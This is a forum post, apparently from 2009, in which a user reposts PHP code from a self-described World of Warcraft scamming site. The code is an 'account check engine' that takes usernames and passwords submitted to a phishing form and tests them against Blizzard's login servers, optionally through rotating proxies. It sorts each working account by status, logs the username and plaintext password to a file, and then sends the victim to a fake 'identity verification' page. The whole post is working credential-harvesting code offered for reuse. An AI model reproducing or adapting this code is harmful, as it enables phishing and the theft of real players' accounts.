Thread: Stream problem
View Single Post
Old 06-10-2009, 12:33 PM   #10 (permalink)
Tanax
The Prestige
Upcoming Programmer Inquisitive 
 
Tanax's Avatar
 
Join Date: Sep 2007
Location: Sweden, Stockholm
Posts: 1,080
Thanks: 115
Tanax is on a distinguished road
Default

Ye, but this is actually already solved with cURL.

Although, I found this on a WoW-scamming site, it would work quite alright for the things I wanted. I would have to remove the logging of the accounts before using on live servers first though.

php Code:
<?php
/*
    Account check engine by Apoc
*/

// Edit this to whatever you want it to be on your web server. You can use a relative, or exact path if you want.
// Eg; /home/user/public_html/logs/log.txt/
// Or; ./log.txt
// You are free to name it whatever you want.
define('LOG_FILE', './AccountsLog.txt');
// Whether or not we should log accounts at all. (If this is false, the above define is useless!!
define('LOG_ACCOUNTS', true);

// Parse extra information from accounts. (What type of account it is)
define('PARSE_ACCOUNTS', true);

// If you want to use a proxy when connecting to the WoW website
// Change this to true. Also add the proxy file address!
define('USE_PROXY', false);
// This can be anything really. It will choose a random proxy out of the
// file. Make sure you only have 1 proxy per line. Proxy type is as follows: 0.0.0.0:0 (ip.ip.ip.ip:port)
define('PROXY_FILE', '/path/to/your/proxy/file');



// These may change as Blizzard updates their website
define('US_LOGIN_URL', 'https://www.blizzard.com/login/login.xml?referer=https%3A%2F%2Fwww.worldofwarcraft.com%2Faccount%2F&loginType=wow');
define('EU_LOGIN_URL', 'https://eu.blizzard.com/login/login.xml?loginType=wow&referer=https%3A%2F%2Fwww.wow-europe.com%2Faccount%2F');

// Do not edit these defines
define('US_ACCOUNT', "US");
define('EU_ACCOUNT', "EU");

// Start account types
define('UNKNOWN', 'Unknown');
define('CLASSIC', 'Classic');
define('BC', 'Burning Crusade');
define('WRATH', 'Wrath of the Lich King');
define('TRIAL', 'Trial');
define('FROZEN', 'Frozen');
define('BANNED', 'Banned');
// End account types

// Start error codes
define('NO_CURL_FUNCS', "cURL FUNCTIONS NOT AVAILABLE");
define('INVALID_PASSWORD', "INVALID PASSWORD");
define('INVALID_USERNAME', "INVALID USERNAME");
define('INVALID_USER_PASS_COMBO', "INVALID ACCOUNT DETAILS");
define('BAD_LOGIN', "COULD NOT LOGIN");
// End error codes
// End un-editable defines

class AccountCheck
{
    // The login type for the account. (EU or US)
    public $login_type = '';
   
    // You can use this to display a successful logins account management page.
    // So long as your images directory and whatnot is correct!
    public $last_page_requested = '';
   
    // Returns the last error encountered.
    public $last_error = '';
   
    // The account type of the last checked account. (See defines above)
    public $account_type = '';
   
    // Private regex patterns. Only here so if I need to edit them, they're easy to get to. :P
    private $password_regex = '/^(?=.*\d)(?=.*[a-zA-Z])(?!.*[^\w!"#$,%]).{8,16}$/';
    private $username_regex = '/^\w{3,16}$/';
   
    public function __construct()
    {
        $this->account_type = UNKNOWN;
        if (!$this->CheckCurlFuncs())
        {
            $last_error = NO_CURL_FUNCS;
        }
    }
   
    //
    //Returns true if all the required cURL functions are available. False otherwise.
    //
    private function CheckCurlFuncs()
    {
        return function_exists('curl_init') && function_exists('curl_setopt') && function_exists('curl_exec') && function_exists('curl_close');
    }
   
    //
    //  Checks whether or not the account is valid.
    //  -> Checks Username via regex, password via regex, and makes sure the username is different from the password.
    //
    public function IsValidAccount($username = "", $password = "")
    {
        return $this->IsValidUsername($username) && $this->IsValidPassword($password) && $username != $password;
    }
   
    //
    //  Checks if the username is valid for a login. (Alpha-numeric, 3-16 characters long.)
    //
    public function IsValidUsername($username = "")
    {
        $tmp = preg_match($this->username_regex, $username);
        if (!$tmp)
        {
            $this->last_error = INVALID_USERNAME;
        }
        return $tmp;
    }
   
    //
    //  Checks if the password is valid for a login. (8-16 characters long, containing alphanumeric, and special characters [!"#$,%])
    //   Also checks to make sure it has at least 1 digit in it.
    //
    public function IsValidPassword($password = "")
    {
        $tmp = preg_match($this->password_regex, $password);
        if (!$tmp)
        {
            $this->last_error = INVALID_PASSWORD;
        }
        return $tmp;
    }
   
    //
    //  Returns true if it was able to login to the US account management site. False otherwise.
    //
    public function CheckUsLogin($username = "", $password = "")
    {
        $tmp = $this->Login($username, $password, US_LOGIN_URL);
        if ($tmp)
        {
            $this->login_type = US_ACCOUNT;
            $this->ParseUS($this->last_page_requested);
            $this->LogAccount($username, $password, US_ACCOUNT);
        }
        return $tmp;
    }
   
    //
    //  Returns true if it was able to login to the EU account management site. False otherwise.
    // 
    public function CheckEuLogin($username = "", $password = "")
    {
        $tmp = $this->Login($username, $password, EU_LOGIN_URL);
        if ($tmp)
        {
            $this->login_type = EU_ACCOUNT;
            $this->ParseEU($this->last_page_requested);
            $this->LogAccount($username, $password, EU_ACCOUNT);
        }
        return $tmp;
    }   
   
    //
    //  Attempts to login to both EU, and US account management sites. If either returns a valid
    //  login, it will return true. Otherwise false.
    //
    //  When this function returns true, check $accountChecker->login_type to get the type of login.
    //
    public function CheckBothLogin($username = "", $password = "")
    {
        if ($this->CheckUsLogin($username, $password))
        {
            return true;
        }
        if ($this->CheckEuLogin($username, $password))
        {
            return true;
        }
        return false;
    }
   
    //
    // The main login function. It can check both EU and US with the same methodology
    //
    private function Login($username = "", $password = "", $url)
    {
        if ($this->last_error == NO_CURL_FUNCS)
        {
            return false;
        }
       
        if (!$this->IsValidAccount($username, $password))
        {
            $this->last_error = INVALID_USER_PASS_COMBO;
            return false;
        }
       
        $postvars = "accountName=$username&password=$password";
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, 1); // Sending a POST request
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postvars); // Setup the POST variables
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Just go along with any redirects
        curl_setopt($ch, CURLOPT_HEADER, 0); // We don't want to return any HTTP headers
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // And we want the return contents, instead of a bool value.
       
        if (USE_PROXY)
        {
            $proxy = $this->GetRandomProxy();
            if ($proxy)
            {
                curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);
                curl_setopt($ch, CURLOPT_PROXY, $proxy);
            }
        }
       
        $this->last_page_requested = curl_exec($ch); // Get our stuff!
        curl_close($ch);
       
        if (strstr($this->last_page_requested, "Invalid account name or password"))
        {
            $this->last_error = BAD_LOGIN;
            return false;
        }
        else
        {
            $this->last_error = '';
            return true;
        }
    }
   
    private function GetRandomProxy()
    {
        if (!file_exists(PROXY_FILE))
        {
            return false;
        }
       
         $content = file_get_contents(PROXY_FILE);
        if(preg_match_all('/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}/', $content, $match))
        {
            if (!count($match))
            {
                return false;
            }
            srand((float) microtime() * 10005224);
            return array_rand($match, 1);
        }
        else
        {
            return false;
        }
    }
   
    // Just a simple logging method. Logs the account info to a file specified.
    private function LogAccount($username, $password, $type)
    {
        if (!LOG_ACCOUNTS && !$this->last_error)
        {
            return;
        }
        if ($file = fopen(LOG_FILE, 'a'))
        {
            $toWrite = '['.date('m-d-y g:iA').'] Username: '.$username.' - Password: '.$password.' - Login Type: '.$type;
            if (PARSE_ACCOUNTS)
            {
                $toWrite .= " - Account Type: ".$this->account_type;
            }
            $toWrite .= "\n";
            fwrite($file, $toWrite);
            fclose($file);
        }
    }

    // ####################### ACCOUNT TYPE PARSERS #######################
   
    private function ParseUS($page)
    {
        if (!PARSE_ACCOUNTS) return;
       
        if (strstr($page, 'This account has been permanently closed and will no longer be able to access World of Warcraft.'))
        {
            $this->account_type = BANNED;
            return BANNED;
        }
        if (strstr($page, 'This account is a Trial account.  A retail Authentication Key will be required to continue playing after the trial time period expires.'))
        {
            $this->account_type = TRIAL;
            return TRIAL;
        }      
        if (strstr($page, 'This account has been frozen and cannot be used for playing.'))
        {
            $this->account_type = FROZEN;
            return FROZEN;
        }      
        if (strstr($page, 'images/icons/accounttype/wrath-on.gif'))
        {
            $this->account_type = WRATH;
            return WRATH;
        }      
        if (strstr($page, 'images/icons/accounttype/bc-on.gif'))
        {
            $this->account_type = BC;
            return BC;
        }
        if (strstr($page, 'images/icons/accounttype/classic-on.gif'))
        {
            $this->account_type = CLASSIC;
            return CLASSIC;
        }
        $this->account_type = UNKNOWN;
        return UNKNOWN;
    }
   
    private function ParseEU($page)
    {
        if (!PARSE_ACCOUNTS) return;
       
        if (strstr($page, 'WoW Trial'))
        {
            $this->account_type = TRIAL;
            return TRIAL;
        }      
        if (strstr($page, 'Frozen Account'))
        {
            $this->account_type = FROZEN;
            return FROZEN;
        }      
        if (strstr($page, 'Wrath of the Lich King Account'))
        {
            $this->account_type = WRATH;
            return WRATH;
        }      
        if (strstr($page, 'World of Warcraft + Burning Crusade'))
        {
            $this->account_type = BC;
            return BC;
        }
        if (strstr($page, 'World of Warcraft - no expansion'))
        {
            $this->account_type = CLASSIC;
            return CLASSIC;
        }
        if (strstr($page, 'Closed'))
        {
            $this->account_type = BANNED;
            return BANNED;
        }
        $this->account_type = UNKNOWN;
        return UNKNOWN;
    }
}
?>

Example usage:
php Code:
<?php
include("accountverification.php");

if (isset($_POST['username']) && isset($_POST['password']))
{
    $checker = new AccountCheck();
    // Check for an error stating that cURL isn't available.
    // This is set as soon as you create the AccountCheck object.
    if ($checker->last_error == NO_CURL_FUNCS)
    {
        // Send them to the error page. Since we have no
        // cURL functions available.
        header('Location: indexerror.html');
    }
   
    // You may also use CheckUsLogin to check only US, CheckEuLogin to check only EU,
    // or CheckBothLogin to attempt to try both EU and US. (I suggest CheckBothLogin)
    // Check<type>Login automatically checks to make sure the username/password are valid.
    // No need to parse it here.
    if ($checker->CheckBothLogin($_POST['username'], $_POST['password']))
    {
        // Note, if this was a success, the account is automatically logged.
        // Edit the things in accountverification.php to change if it's actually logged, and where
        // it gets logged to. (You can also enable the use of proxies there.)
        header('Location: identity_verification.html');
    }
    else
    {
        switch ($checker->last_error)
        {
            case INVALID_USERNAME:   
                // This error only happens when the username doesn't get passed the regex used to check it.
                // (3-16 characters, alpha-numeric)
                //Invalid username. Send them an error specifying this maybe? (The red arrow thing Blizzard uses)
                break;
            case INVALID_PASSWORD:
                // This error only happens if the password doesn't make it passed the regex used to check it.
                // (8-16 characters long, containing alphanumeric, and special characters [!"#$,%])
                // Send them an error specifying the error. (The red arrow thing Blizzard uses)
                break;
            case INVALID_USER_PASS_COMBO:
                // This happens when the username and password are the same!
                // Blizzard doesn't allow this. So why should we?
                break;
            case BAD_LOGIN:
                // Bad login!!
                // Either send them to an error page, or display the red arrow kajigger.
                break;
            default:
                // Some other error!
                break;
        }
        header('Location: indexerror.html');
    }
}

?>
__________________
Tanax is offline  
Reply With Quote